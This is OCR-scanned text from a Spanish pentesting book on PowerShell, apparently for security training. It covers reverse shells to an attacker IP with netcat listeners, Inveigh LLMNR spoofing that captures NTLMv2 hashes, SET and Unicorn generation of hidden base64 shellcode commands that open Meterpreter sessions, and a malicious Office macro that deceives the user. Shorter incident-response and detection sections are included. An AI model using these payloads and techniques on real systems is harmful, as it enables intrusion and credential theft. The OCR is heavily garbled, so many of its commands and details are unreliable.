Cua]?mer/ucg;mSierpregfe,r/reverse tep LHOST=192.168.56.101 exitfunc=rthredad /ms
WIRAOWS/X 2 e
psh > PowerShell  payload.ps1.

21 1t iemplo mostrado es el siguiente: I
ety \Get-WLAN-Keys.ps1 — PostScriptCommand; Out-Word —Pa_v.i%zc; 5;:: ;;;j;w
e o e |\ [— B BR o a f) - 3 i : . .
[zm/\( }?m;(cj;iu ;1';7095 - noprofile -¢ Invoke-Expression fE((f;f;H ?b}ect L il
-Execufion sy Bypa - T (${New-Objec M 1
¢ Ao (biee 10.Compression. DeflateStream o 7 p AT VUVC10kZLO
(3 {J\’L i -Oi’icjj . -Fro11:8(1.?66Z‘S'f;-j17g( CAdZIRBIMwWEMITLTk 71?[;1:"1)’7‘?.].]; ﬁ{;;f(;i;;h S \WdJ/
(”‘b ([():f ‘U)ﬂ; ’L:m (.).Ha’.'n,\’m’P Gd8dpgmnA81t13/1//zv7dyg O,IJS{?](D}{:_\ [’.II-.' c;v ;E,.? ’ _4 Flicptyp iy
chijf A/}:F-\ II.’KL S'f .\/TBZH?/J 1laUsJeqhFC2dePhthPtriPr3 Wwkj b;vlf;g(d 714;[;91.]91_ZGEXKCA
derders ey ] Gkrvdw/If3kbik7xuPc EWwbUGds L 4 oA
O] VikoNAoHhAc6krydw/lf3kl ks i o
g elvfyfgcigﬁj—;;fﬂ/{rv(‘; w+ZesSZ1kO077vYHLs +xhfLlaX ”Emzl_p-l gf\fﬁ;ﬁ *j'\’;RFq{ame'
OMr‘S‘: ]EC'T/‘SE/;.") ;Lb’ 16k UdDIWX9;Y1/TNxdjbteN8ublijv VOmVK Yf;;}f?;!”;?gb]]dw})](!EUZL:()/
i{f;];"]? YJCC?/;LO“(EA s UCY‘B O(fi’\gg fi‘]g\ffg gzz}ixtgm !/11.‘})-7101.'05/ MicP2f+10s]
1 hK4ejXy RmgDsanCl6UXmGjf . /
aeBjcJBvbK4eiXydPPDTWU e oo
ilrEcéuo+6z.fcR‘f61Ga’h/3NA/)SHE_J"’]()J(S FZ7h (J.QJLQB'E 1))
10. Czn-zpresxfun. CompressionMode]: .'Delc'ompress ),
[Text.Encoding -:ASCII)).ReadToEnd();".

I net.
municacion ¢ Inte
a para evita ]ﬂ. cOo
o p ql. 5 q]. €T i} C (8] (&
:ﬂ este caso, se eIlCOdLa 61 SCripi 1€ 5€ 11

PoC: Shells T T—
ueba de concepto se estudian el concepto de shells 15_]:{011 . mom]gs  figionss €

Ein et ias formas para conseguir una sheil a través de diferentes pr

ofrece vari s g

PowerShell.

Ea a la ea] Q once i e —P ¥ & ! i a ('Uﬂl
ili g c10 d ".ef'Sh(,l‘l C_f). ]
]a tLll"lC]Dl] fﬂ‘l UJI\.G (243! g
i i¢ n -p Q 8 uLlllzai’a i P
Zacl de la p LlEbEi de ; N |
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Elscript puede ser descargado desde la siguiente direccion U
Inveigh. Actualmente da soporte para direcciones
challenge/response de HTTP/SMB. Para realizar la captura del desafio

se realiza un sniffing sobre el servicio SMB de lIa méquina, mientras
configura un listener dedicado.

Capitulo I1l. PowerShell puro: El arte del pentesting m

La sentencia a ejecutar por el pentester o por un scripf ejecutado de alguna m

mdquina comprometida es la siguiente Invoke-PowerShellTtp —Reverse —IPAddress 192.168.5 6.101
—Port 9000. Esto generard una peticion inversa hacia la direccion IP 192.168.56.101 ¥ puerto 9000
donde debe existir una ejecucion de nercar o powercat para recibir la PowerShell interactiva,

anera sobre una

Microsoft Windous [Uersion 6.2.92801
(c)> 2812 Microsoft Corporation.

Todos los derechos reservados.
C:iUsers\pgunzalez)cd Desktop

ﬁ:\Users\pgonzalcz\Desktup>nc -1 —p 9668

['nc” no se veconoce como un comando interno o externo.
programa o archivo por lotes ejecutable.
C:\Users\pgonzalez\Desktop)cd nc

C:\Users\pgunzalez\Desktop\nc>nc -1 —p 90680
WYindows PowerShell running as user Pablo.Gonzalez on P11P-@?
[Copuright (C) 2815 Microsoft Corporation. All rights veserved.

?S D:\lihrns\pentesting powvershell\nisha

NPMCK> PMCK

ng—master>get—process

WS <KDY UMCHD CPU<Cs)> Id ProcessName

5.61 1872 AppleMohileDeviceServi
6.83 1752 armsuc

Flig. 3.50: Obtencion de PowerShell inversa interactiva en remoto.

7.0tros scripts en accién

En este apartado se agrupan otros scripis reco
seripis pueden no formar parte de un framework, pero su utilidad es

pilados que pueden ser utilizados en un pentest. Estos

indudable en un test de intrusion.

PoC: Sniffing y Spoofing de protocolos con PowerShell
Inveigh es un script de PowerShell el cual permite realizar dife
intrusién. Como se ha mencionado ya en este libro, pueden existi
tener estas funcionalidades a través de la linea de comandos del
€xito en estos escenarios dificiles. Esie scripf puede ayudar a real
a través de dispositivos USB, a
eteétera.

rentes spoofs de cara un test de
r escenarios limitados por lo que
sistema puede ayudar a lograr el
izar ataques de phishing, ataques
yudar a obtener informacion que permita pivotar entre FILANes.

IRL https://github.com/Kevin-Robertson/
IPv4, spogfing LLMNR/NBNS y captura de

-respuesta de SMB y HTTP
que en el caso de HTTP se



P———

m Pentesting con PowerShell

pegan los challenge/response obtenidos a través del
sropio seript, se deben eliminar los

Hay que tener en cuenta que si se copian y
scirpt, los cuales son almacenados en un fichero de texto por el |

retornos de carro.

Gl uso es sencillo, en primer lugar se debe tener en el proceso el maximo privilegio, por ejemplo
logrando una cuenta de System a través de una elevacion de privilegio. Puede ser necesario utilizar
un método de bypass de la politica de ejecucion de seripts. La sintaxis para su ejecucion es sencilla
Inveigh.ps] [-i <direccion IP por la que esnifar y spoofear> -LLMNR v|n —NBNS y|n ~NBNSTypes
00,03,20,1B —HTTP y|n —SMB y|n —Repeat y\n —Foice WPADAuth yin —Output 0,1,2]. En la imagen
se puede visualizar un pequefio ejemplo de la captura de desafio-respuesta de un hash a traves del
servicio SMB de la maquina. Esta méquina puede ser local o remota, ya que con PowerShell se
podria ejecutar de forma sencilla este seript en otra ubicacion, siempre y cuando se tenga el permiso.

[PS C:\Users\pahlu\De:kcop\lnueigh—nastev) SInveigh.psl
Inveigh started at 2@15-8B-03T11:15:55
[Listening 1P Address = 192.168.56.184
lLLHNR Spoofing Enabled
[BNS Spoof ing Disabled
Bpoof Repeating Enabled
TP Capture Enabled
TIPS Capture Disahled
EMB Capture Enabled
[Repeat Spoof Suppression Disabled
Force WPAD Authentication Enabled
onsole Output Enabled
[File Output Enahled
lorking Directory = C:\Usnrs\pahln\ncshtup\lnueigh—nastnr
2 response captured from 192.168.56.181CP11P-@7)=
lPﬂTHS::D3ﬂ5Eﬂ9?BﬂF?81BOE44EE89E55RCHD4B:GLBIGBBEBBBBQBBBDBCH9?160DCDDBBilBCF3BCIU46?66499565@358923@9
AR5 PAR52084180438 B43ﬁ8419553BBZDBBSEEBd3BBH4GBI2HBSZBB7SBB72BB?3BBGFB@2EBBS3GBBFBE
4PA69 80630061087 2 59@?2887336&FGBZEBEGSGEEFBBBD@HBSGBI2@5&3897533723
EDGBB7BBEBEBDBC39?1BCDCDDGBLBB3934333239933888BBBBBB3GBﬂﬂﬂBBBGEBBEBBBIBEBBBGBB2BQBBED73B7H31335053
DCFCCDHHBS423HiZH9S9C251FCBﬁBﬁ1BBBBBGHBBBGBﬁﬂﬂﬂﬁﬂﬁBBBBBBBBBBBEBB@33935258353996990663373982FﬂﬁH
9392583353836832EBE3138393934BEBBBBGHBBBBBB@BBBBBBBGBBB
e upritten to C:\Usnrs\pahln\Deskcup\lnueigh—naaccr\!nueiy TLMu2.txt
@15-08-83T1 3 NBNS request for CURS0¢42-4D> received fron 192 .168.56-184 NBNS spoofing i isabled
b@15-08-03T11 NBMS reguest for CURS0<42-4D> rec ed from 192.168.56.184 spoofing i disabled
15) 3 NBNS reqguest for CURS0<42-4D> received fron 192.168.56.184 spoofing is disabled
NBNS request for CURS0<42-4D> received from 192.168.56.104 spoofing is disabled
NBNS reguest for CURS0<42-4D> received from 192.168.56.104 spoofing is disabled
=33 NBNS reguest for CURS0{42-4D> received from 192.168.56.184 spoofing is disabled
34 - SMB NILMuZ challenge/response captured fro 192.168.56.1B1(P11P-B7) =
H =:BDZSRDBEB3EBEBHFEBCDIED?FSEC?SiG:BlBiﬁﬂﬂﬁﬂ@ﬁﬁﬂﬁﬂﬂnﬂD?ECi?CDCDDGBil?51ﬂ555DBBB3G59BBBBBEBGG?GBB
2954188439854394930638311GBS3BGZDGBSBBG4BGBH4BSI29H63BE75ﬂB?ZHB?HUBGFBEZEBBS3BBBFBG
SBBEFﬁaﬁDBﬁﬂSﬁBlZBﬁG?BB?SEB?ZG
91GBBGGBEEZBBGBBD733?381335053
39002600638069A0660673882F0A3

ba15-88-03T11: 32 - SMB NILMv2 challenge/|

6062 E8A31003080340808800 [elels s o]
ADUERTENGIA: SMB NTLMu2 challengc/nesponcc uritten to G:sUsers\pabloxDeskto

Fig. 3.51: Captura de challenge/response en hashes NTLM.

PESecurity

PESecurity es un script para chequear los binarios de los sistemas Windows, tanto ejecutables como
archivos DLL. Con PESecurity se puede estudiar si el binario ha sido compilado con mecanismos de
proteccion o seguridad como son ASLR, DEP, SafeSEH, StrongNaming y Authenticode. PESecurity
se puede descargar desde la siguiente direccion URL ffff’;);‘.'/ﬂgff!‘rzrh.com/NefSP]/PESeczrriUF.

ASLR. Address Space Layout Randomization, evita que el atacante conozca la direccién de memoria
donde se encuentra una funcion que quiere invocar. El mecanismo ASLR intenta cambiar la posicion
exacta en cada ejecucion. DEP, Data Execution Prevention, evita que una aplicacion se ejecute en
una zona de memoria no ejecutable. SafeSEH, €s un mecanismo que protege de SEH Overflow.
permite identificar el binario univocamente, también conocido como unigue identity.

StrongNaming,
lladores incluir informacion adicional en los binarios a traves

Authenticode permite a los desarro

Capitulo [1l. PowerShell puro: El arte del pentesting m

del uso de firmas digitales ]

SO 16711 SIAT o Aotea @ &1
el mas dig ales. Ademas, con éstas se consigue aumentar la seeuridad del binari
posibles modificaciones de éste. PSR

Para realizar ; rchi ]

- ;Lnj (}:El?;g_usc;;)jl;;e L[i_l‘; ar cll}lxso se ;?uede gjecutar la siguiente instruccion Ger-PESecurity

kb = ameriormeme‘ Si. : informacion que se ubt.endré tras esta ejecucion son los valores

Nerploms sredeaiot ._] se requiere eval'u'ar los binarios que se encuentran dentro de un
Jecutar la siguiente instruceion Get-PESecurity -directory <path>

Windows\System32\ | Format-Table

ASLR
ASLR DEP Authenticode S SafeSEH

True =
False Eal
True

False
False
False
False
False
. AMD64 Eg};i

wwnnnwmn

mmmmm
Lt T VI T
il e el ]

Fig. 3.52: Obtencicn ;
2. : Obtencicn de mecanismos de seguridad en los binarios de un directorio

Respuesta ante incidentes

En este apartado se v rar varios scri '

o moﬁnm. jnforn:ﬁa;;lﬂn;t;s::;tr‘\fnms .acn‘p:?v o conjuntos de scripts que pueden ser utilizados

i b S L:s‘_Lena{u') fl'as un incidente. En muchas ocasiones se tienen que

i i b esta lopurd_“[wa. las a.:uules. puedcn cambiar el entorno, lo cual en un
algo no recomendado. Estos scripts utilizan PowerShell para realizar los menos

cambios posibles en el entor o g
entorno y recopilar infc ~ion fi ;
b orma : - R ;
atacada I acion fiable de los sistemas de la organizacion

Kansa

Kansa es un mo il i
vl ;,jiuio//de j,’mfdmf Response escrito en PowerShell. Puede ser descarsado desde |
: itips.:igithub.com/idave Cany - i erShel!
ik i o i ‘ ;’m/!'/l\cr.'.z.,\{.'. El modulo se encuentra testeado en PowerShel/
5. que funciona mejor a partir de la version 3 de PowerShell | .

ara ]1:1(_‘61 E‘U[ Cl arrecltamente Sd se de a Iru 10} ac A ¥
P. 1cio = 5 i = -
\’ . narco { K(UL d S b(. d conso 011} -]ILUIOS dt‘ AdH-HI 1811 1d
" - = 51 o 76 T 7 -
, P 3 | cutar I’tﬂ 75 {J.]). / [CU ge <loc Cf] [Py { Ofras ¢ ]CTCJ’”('”G = = fl’)(!!l’iepﬂfh ‘
osteriormente e|e bR § oe! / 1057 1 f S 7 g i N

Modules —Ver )

! s —Verbose. E1 ModulePath indica de do

: . Bl 7 indica de donde Kansa utilizara e

de informacion sa utilizara los recursos para la recopilacion

l > - ] a1
E-Il a c i, e /[Ofl’”!{es d K( SE [a 24 Cd th
arpeta e Hsa s ]J 1ede enco gra £} aaa de scrip Z )
e / f 18
. [ .’1([05 {cl a

recopilacion de infor 10 i
rmacion referentes a config i qui
‘ ; nfioy & y s
o i guracidn de las maquinas. procesos, logs. disco

El ) i.’" .cl ecolecta 01 Q Z ” AV
B (i depe j[ f{) 10 : i
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Managen : .
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e un directori ; . J : zae
n directorio denominado Ouiput_timesiamp con toda la informacién recolectada
< .
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Voyeur

Voyeur es un conjunto de scripts utilizados para realizar recopilacion de informacion del directorio
active. Vovewr ha sido escrito por el investigador espafiol Juan Garrido, también conocido como
Silverhack. El codigo puede ser descargado desde la direccion URL de Github hiips.//github.com/

silverhack/voyeur.

Voyeur proporciona una manera rpida para generar un reporte del directorio active. La herramienta
esta desarrollada completamente en PowerShell. La herramienta es capaz de generar un reporte en
Excel, si el usuario quiere lograr un reporte vistoso. Otro formato que puede ser utilizado es esv. El
reporte generado por la herramienta es un punto de entrada para el trabajo de analisis de amenazas,
en un directorio active, de un analista forense, un equipo de incident response o investigadores de

seguridad.

Find-MsfPSExec

La funcién Find-MsfPSExec permite, a través de PowerShell y los eventos del sistema, encontrar
eventos que identifiquen la ejecucién de una Meterpreter en un sistema comprometido. Esto es uno
de los hechos mds encontrados por los equipos de respuesta ante incidentes en brechas de seguridad

en empresas.

La funcion utiliza Ger-Eventlog para matchear los eventos del sistema que tengan como identificador
el 7045, los cuales informan de la gjecucién de un servicio, y comprobar si el nombre del servicio
comienza por “M™y si la ruta tiene la estructura “*%SYSTEMROOT%)\ 7?2?7277 exe®”. La segunda
parte localiza el binario que ha ejecutado esa Mererpreter a través de la invocacion del servicio.

Esto no asegura que sea una Melerpreter lo que se ha ejecutado en el sistemna, pero las posibilidades
han ido aumentando si encajan las 3 comprobaciones. Por desgracia, Metasploit ha cambiado este
hecho en algunas versiones, es decir, se conocia que cuando se invocaba una Meterpreter a traves del
médulo psexec de Metasploit se creaba un servicio que comenzaba por “M” y almacenaba el binario
en %SYSTEMROOT%. Hoy dia, las versiones mds modernas no utilizan la “M” para comenzar el
nombre del servicio, siendo este valor aleatorio.

Es cierto que la version del médulo de psexec pueda ser antigua, y se puedan detectar los Meterpreter
ejecutados en una maquina comprometida, ya que este método es muy utilizado para llevar a cabo
movimientos laterales en una organizacién comprometida. El cédigo de la funcién puede descargarse
desde la direccian URL htips.//github.com/obscuresec/PowerShell/blob/master/Find-MsfPSExec. A

continuacidn se muestra el codigo:

n

¢

W oo~

-Eventlog -LogName

-match

5
=

MachineName

5

Hostnan

- T e e
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leatProps

El sf?f'."p? puede ser facilmente modificado para encontrar o maichear las ejecuciones e

versiones de Metasploit, pero para ello hay que matchear que el nombre del St:rviZiLn - s ¥
nume.rc.:n de caracteres tope. A continuacién se propone una versién reducida del scr'o i)
per{mtu' al pentester o analista realizar su deteccién (Get-Eventlog -LogName “sys o s ]3U€L1€
Object ;’%‘7 E\nzenr[D -eq 7043}) | Where-Object {($ .Message -Imatch “}’V:mbre a"(j;l:fefﬁ 73 ‘-H‘.]-] =
La modificacién serfa cambiar el maich por like con la longitud de interrogantes éqilﬁéiélﬁé a

El idioma del sistema operativo importa, por lo que si la versién del sistem

A . . N e a ¢S ofra no ineles:
se debera cambiar la funcién expuesta anteriormente o

; 1 ya que cuando se ejecuta {(§ . Mess
v e ki BT g {5 Message
'I(h:\,‘ Service Name: M")} no matcheard ningun resultado, ya que, por ejemplo, en ccmﬁ‘(-ﬂ
seria "NV e de servicio- M ~onti 16 i : k 5 o1
ol blon;@c de servicio: M”. A continuacién se muestra la modificacion del seripr, el cual ya es
ecu [ ener los res 7 IV " | Where.
éb- f;q;e [I.IE‘LlﬂlTle]llE. para obtener los resultados. (Get-Eventlog -LogName “sysiem™ | Wher
ect {8 .Ev E 5 ore-(bi J N < : 44
J,WJ,. (8. \fefmf[) eq 7045} | Where-Object {(8_Message -match “Nombre del Servicio: M")}
rere-Object {($_ Message -like “*%SYSTEMROOT\?77722 2 exe®")!) | Formai-Li .’- o
PL¥ Clies & ieis & exe 7 FIar-1L1si.

En la ir ¢ puede visualizar la fi

-+ nagen se (;u(.d(, visualizar la fecha en la que el evento se generd, el servicio fue lanzado v
el binario ejecutado. F servicio e ‘ e ; ”
o bnane i ‘].:l.n.ombre del servicio es MqOTGyTDCqaxNinUodC bHHAIZXgKyf. p
O]/ S:I]La_]a con la posibilidad de que sea una Meterpreter y el nombre del g
YoSYSTEMROOTY%\Dsh iyNkp.exe.

or lo
archivo del servicio es

S C:\WindowsNcysten32> (Get—F: t L sys here—Object {5__EventID —eq 7845) ! Where-Object <(5_.Mecsa e
—Eventlog -LogName systenm Where- i g

~match “Nombre del Servicio: H 23> 1 Uhere-Object <¢% -Message —like '*'SIHROO.\ 727222 !:Xe‘( 333 .
12727237 H

i Format—List
: 25715
[EntryType : Information
énstnnceld = 1873748869
essage e instals un servicio en el sistema.

Nonhre del se io: M
X s = qQIGqTPCqaxNJnUodChHHATZY
![i'gn‘l]ug rlsl .al: o del servicio: ZSYSTEMRDOT:’.\!)gﬁ?;Nk-A ex
1_‘)) du feruvicio: servicio de modo usuario L
C:;E:t cdxn:c:w_rh? icio: inicio por solicitud
e ansis cug a de servici LocalSysten
CatigoryNunbcr
ReplacementStrings G
rin (Iilr_[Qll'l:([TDCqﬂxHJnUudCbHHRIZKg‘K_uf, #SYSTEMROOT%\DshiyNk ¢ servici
. Silera s YHKp.exe, servicio de modo usuario, inici
po Ge- : Seruvice Control Manager e
ineGenerated : 13/88/2015 16:35:50
u:gi£n1ttcn : 13-88/2815 16:35:50
|5 lane = PRACTICAS-PC\Adninistrador

: 24758
- 1653530600
st = 3 8269
lessage = Se instalé un servicio en el sistema.
Nombre del servicio: MGHsKO
Nonbre del archivo del servicio: il
0 rch servicio: xSYS E s :
%)I.pu de SErvicio: servicio de modo us}lv‘]\:E}i‘gor,.\hR""”etz-E‘m
C:Lpo de inicio de servicio: inicio por solicitud
uenta de servicio: LocalSysten

Fig. 3.53: Deteccion de Meterpieter con PowerShel.
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Capitulo IV
PowerShell y otras herramientas:
Pentesting sin limites

1.La post-explotacion con PowerShell

En este capitulo el lector podra estudiar herramientas externas a PowerShell que se apoyan en la linea
de comandos de Microsofi para obtener un beneficio, generalmente, en la fase de post-exploitation.
Hay gran cantidad de herramientas y lenguajes capaces de generar codigo o instrucciones de
PowerShell con las que el pentester podré obtener un beneficio, como se menciond anteriormente.

i(Por qué se obtienc un beneficio? En los sistemas Microsofi, desde que la linea de comandos se
encuentra nativa desde Windows Vista y Windows Server 2008, todas las acciones de recopilacion
de informacién, obtencion de privilegio, ejecucion de codigo, acciones a través de dicha maquina.
etectera, pueden realizarse con PowerShell, Por ejemplo, la comunidad de Metasploit se dio cuenta
de este hecho y han centralizado esfuerzos para sacar el maximo potencial a PowerShell a través de
las sesiones de Meterpreter. Hoy en dia. se puede abrir una PowerShell interactiva a través de un
pavload de Metasploit y aprovechar todo el potencial que en este libro se ha reflejado en el capitulo
dedicado a los distintos frameworks de PowerShell, Ademis, se podran ejecutar los diferentes seripts
que el pentester pueda desarrollar con la ayuda del presente libro.

En algunos entornos puede ser Gtil disponer de una instruccién de tipo EncodedConmand con la que
ejecutar codigo en Base64 y conseguir ejecular instrucciones. Esto ya se ha visto en el libro, pero
existen herramientas escritas en Python. o incluso el propio conjunto de herramientas de ingenieria
social denominado SET, que permiten crear este tipo de instrucciones. Estas instrucciones son tan
potentes que un pentester podria llevarlas almacenadas en un v y pegarlas directamente sobre Ia
PowerShell o ejecutarlas, por ejemplo, a través del payload de PowerShell de Metasploit obtenido a
través de una explotacion de una vulnerabilidad en Ia fase previa.

Por tltimo, hacer hincapié en que existen diferentes médulos escritos en PowerShell que integran
con herramientas como Metasploit y Nessus, como son Posh-Metasploit y Posh-Nessus, En este
capitulo se hard un recorrido por el médulo de Merasploit y se vera la interaccion con el famoso
Jramework de explotacion.
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2.PowerShell: Ejecucion de payloads

i ini i qos puedan
En muchas ocasiones existen politicas locales o de dominio que evitan que los us;ua;o ‘ frghey
ejecutaruna emd, pero a dia de hoy muchos administradores no tienen tanto en cuentaa at. owe esc;
; asi indows. Si un usuario tiene acc
: i i 3 e que la cmd clésica de Windows. :
ésta herramienta es atin mas potent : las ' - s
}f/”lsico a un equipo puede ejecutar cualquier tipo de codigo a través de una PowerShell. por ejemp

un Meterpreter.

i iti j i0 "ipls g visto en
Es sabido que PowerShell tiene una serie de politicas de ejecucion de ser zpis, comlo ya{qf; i;lz;a e
el libro. A modo de resumen, un administrador puede configurar una politica restr zczr;f c . Clue o
usuario no podra ejecutar scripts a través de PowerShell. Otra opcidn es unresiricted, con la g
usuario puede ejecutar cualquier tipo de scripl en la consola.

] indi i ; lier script en
Las opciones allsigned y remotesigned indican que para podccler ele(.:glta{r gl.la;qc:ue .- Si,.,pm
: i ndic 3
Aquing § it & mientras que la segunda opcion 1
la maquina se necesita que esté firmado, . : : ki
creados localmente pueden ser ejecutados sin necesidad de que esten firmados, pert;jlo; (ll Oliﬁca
sido creados fuera del equipo deben estar firmados. Para visualizar en una PowerShell la p
configurada se debe ejecutar el comando Get-ExecutionPolicy.

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Genergtor

4) Create a Payload and Listener
5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) SMS Spoofing Attack Vector

8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors

11) Third Party Modules

Fig. 4.01: Memi de SET con distinios vectores de atague.

i i ite realizar dive ; basados en
La herramienta SET, Social Engineering Toolkit, permlu_e it.dl]Zal diversos a;f’aqu-a':sl]evaracabo
ingenieria social. Uno de los vectores que muestra es la utilizacién de PowerShell para
ejecucion de cédigo sobre esta consola de Windows.

El vector de ataque de PowerShell proporciona diversas posibi]idac.lesﬂ pf;'o ;-l.rc:ﬁi?::ozﬁﬁ
en todas. Se puede obtener el codigo de un seripf el cua! puede ser e;eu.lta o 11-ect S Ui
y pegando sobre la PowerShell, por si existe alguna polltlca en l.a ma(_q}nn;l que (; fe(’sore Ij e
de scripts, o se puede obtener una instruccion que invoca la gjecucion e‘co 1:,d i C.édigo
altimo es realmente interesante, ya que de algiin modo ofusca y hace que se pueda €]

de manera menos transparente.

i j : jector que
En el presente ejemplo se va a utilizar la opcion PowerShell A[pharmmem_c Sh‘ellclode Ifziccéfg'ig% ;
permite crear una instruccion que ejecutara una PowerShell de forma no interactiva y €l ¢
ejecutar se encontrard encodeado en base64.
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1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell

3) Powershell Bind Shell

4) Powershell Dump SAM Database

Fig. 4.02: Opeiones que proporciona SET sobre PowerShell,

Una vez seleccionado este ataque se solicitard al usuario una serie de parametros para configurar, los
cuales se explican a continuacion:

- Direccién 1P a la cual, una vez ejecutado el codigo en la PowerShell, se devolvers el
control de la maguina victima.

Puerto en el que el atacante estard escuchando y esperando a la gjecucion del codigo.

Una vez generada la instruccion, se solicita al usuario si quiere configurar el handler de
Metasploit para recibir el control de la maquina dénde se ejecute el codigo generado.

et powershel =]

et> IP address for the payload listener: 192.168.56.103

etipowsrshell> Enter the port for the reverse [443]:

Prepping the payload for delivery and injecting alphanumeric shellcode. ..

Generating x86-based powershell injection code. .,

Finished generating powershell injection bypass.

Encoded to bypass execution restriction policy...

If you want the powershell commands and attack, they are exported to /root/.
set/reports/powershell/

==t> Do you want ‘to start the listener now [yes/nol: : yes

&

(5]

L)

Fig. 4.03: Configuracion de Alphanumeric Shellcode Injector:

Un atacante con acceso fisico a un equipo Windows puede introducir en el equipo un fichero v/ con
la instruceion generada, ya sea porque se lo descarga de Internet o lo tiene almacenado en un medio
extraible. El atacante tendrd configurado el handler en un equipo remoto que sers el que recibira

el control, produciéndose la peticién desde dentro hacia fuera, por lo que generalmente se evitaran
temas de firewall.

En el ejemplo se puede visualizar diversas opciones en la ejecucién de PowerShell. A continuacion
sc enumeran las opciones y el significado de éstas:

-nop. Indica que PowerShell seré ¢jecutada sin ningiin profile cargado.
- -windows hidden. Indica que la instruccion serd ejecutada en una ventana oculta,
- -noni. Indica que la consola no seré interactiva.

- -enc. Indica que a continuacion viene el codigo de PowerShell a ejecutar.

Archivo Edicion Formato Ver Ayuda

powershell -nop -windows hidden -noni -enc

JMXACAAPQAgﬂCcA]ABjACAAPQAgACCAJwBbAEQAbABsAEkAbQBwJAG8A

chBACgAIgBPAGUAchuﬂGUAszADIALgBkAGwAbMiACkAXQBwAHUA

YgBSAGkAYwAgAHMAdABhAHQAaQBjACMZQB&AHQAZQByAGAAIABJAGAA

d.&BQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBSAGwAwajACgASQBuAHQA
Fig. 4.04: Instruccion generada con SET para PowerShell,




- 7

m Pentesting con PowerShell

Cuando el usuario malicioso ejecuta la instruccion en la PowerShell se estd proporcionando acceso y
control remoto de la méquina. Tal y como puede visualizarse en la imagen se gjecuta una Meterprete

sobre una maquina Windows Server 20112 en este caso.

msf exploit(handler) =
["] Started reverse handler on 0.0.0.0:443

[ *] Starting the payload handler...
[“] Sending stage (769024 bytes) to 192.168.56,102
[*1 Meterpreter session 1 opened (192.168.56.103:443 -> 192.168.56,102:57574) at

L
2015-03-13 08:16:56 +0160

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : WIN-6UEBSMLDIER

0s ¢ Windows 2012 (Build 8400).
Architecture x64 (Current Process is WOW64)
System Language : es_ES

Meterpreter : x86/win32

meterpreter >

Fig. 4.05: Toma de control en remoto de la médquina coi acceso [isica.

Logicamente, cuando hay una intrusion remota se puede ejecutar este tipo de técnicas para de forma
posterior tomar el control de la maquina remota. Por ejemplo, en una vulnerabilidad de Command
Injection en una aplicacion web que utilice Windows con PowerShell en el sistema podria ejecutarse

este tipo de instrucciones para lograr una Meterprefer.

3. PowerShell Shellcode Injection con Python

En este apartado se trata una herramienta escrita en Python, la cual proporciona al pentester la
posibilidad de obtener codigo en PowerShell para ejecutar una shelleode en memoria. Ademds, un
derivado de esta herramienta, denominado Unicorn2C, permite obtener cédigo en lenguaje C para
conseguir crear un hinario Windows, el cual enlazard la gjecucion de la shellcade y obtiene una gran

{asa de evasion de antivirus.

La base de la herramienta Unicorn es el bypass de PowerShell presentado por David Kennedy y Josh
Kelly en Defeon 18. La shellcode se inyecta directamente en la memoria a través de PowerShell, y
esto hard que su deteccion sea compleja. Unicorn puede obtenerse en la siguiente direccion URL

htips://github.com/trustedsec/unicorn.

El uso de unicorn.py es realmente sencillo, su ejecucion es la siguiente python unicorn.py <pavload>
<direccion IP>. Para ejemplificar se puede visualizar la siguiente instruccion python unicorn.py
windows/meterpreter/reverse_tcp 192.168.56.101. Como puede observarse se debera disponer de
Metasploit instalado, ya que el seript de Python lo utiliza para genera la shelicode.
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Tras la ejecucid ; : ]
byt CJ i ;flllon de Umcom .se obtienen 2 ficheros. E] primero de los ficheros contiene [ nst i4
rohell que se debe ejecutar en la linea de comandos, por ejemplo copiando y pega dmm(Jn
ndo.

La instruccién generada tiene el siguiente aspecto:
PowerShel —Wi { J -
i Ials.e?cet Wm'dow Hidden —EncodedCommand <shellcode encoded>. El segundo archi
1 - i L T ; N %
nstrucciones de Metasploit necesarias para configurar el multi/handler para recibiO
r

las shellcodes. Este mét funci 5
] odo funcionard en cualquier sist: i s dé :
PowerShell. q istema Windows donde se encuentre instalado

Los archi ati ili

— ;fos oﬁncliatlcos de.O.ﬁ?ce pueden utilizar macros y las instrucciones de PowerShell generadas
ri pue ’eq ser utilizadas en estas macros con el fin de que al abrirse un archi ]

la macro con el cédigo malicioso. B

Para e] e ] € i y
‘IO, bl pu de Crear una nueva mact 0 €N un ar ChlV() OﬁmatiCO en el metOdO AEIIOOpeH pega
gO geﬂe ado pa a ffowe She[l Cua d usua i e-GClIte e. a I mati € sa
; . 0 el & 110 l Chi i
el CO( : : ( F -}“ YO O co l ]d
. S Ira un
T lellsale Indlcando que el ar ChlVO esta da[lado }4 -alltOmat]CﬂlIante se Cellal‘a, pero se debe ObtenBI‘ ia

se ()11, a e se ]1 ae 5 Sngallando Ell usuario. ES[a teCIl ca 8¢ de omina e ue
. . S lr n 1N ! El‘[aq macro

s 5‘ - €
E“ resumern, se Obtlelle 2 ﬁChEIOS, 1 Ollfé.fShE‘H (?Uack.lll URICOFH, FC El aI'Ch]V(J dﬁ' tBXtD cont er
tOdO e[ COd[ 0 necesario pa]a myectar EE ataque €11 memoria. I:-] Segu I(IU arcnivo cont ene la

g
(& ﬁgur& n d ] } ﬁdj@ y q ] p ] p 7 =
- I‘l‘lpl m ha [+ Q MSJc sole —re uni FH
on C10. €l fa T, 8 cmerl te ue eCthaI] or €)1em lO con m OFL

FE 1D, dBlltI() de la Cor S()la. Fesairee unicorn.re. -

4. Payloads de PowerShell en Metasploit

La posibili ili g
e 3?0imk;]-hdadG de utilizar PowerShell como Fayload en Metasploit abre un nuevo mundo de post
A%} ton. Generalmente, un pentester podia utilizar una shell o emd tras una explotacion, o ken

el mejor de los casos, una Merer i
. eferpreter que proporciona or i funci :
post-explotacion. PIOp gran cantidad de funcionalidades para la

A medi ; e % 50
- poz?;'lﬁzsddz 20.15 se desarroll¢ la posibilidad de utilizar un pavload de tipo inline que ofrece
ad ae gjecutar una PowerShell interactiva de i nd y i
} : : po bind y de tipo reverse, Juntando
gc_z_\ load con los diferentes frameworks de PowerShell que se han visto en este libro se (:1btieneeste
gran potencial en la fase de post-exploitation, incluso estando a la altura de Mere.vprerér .

Hay que ten i
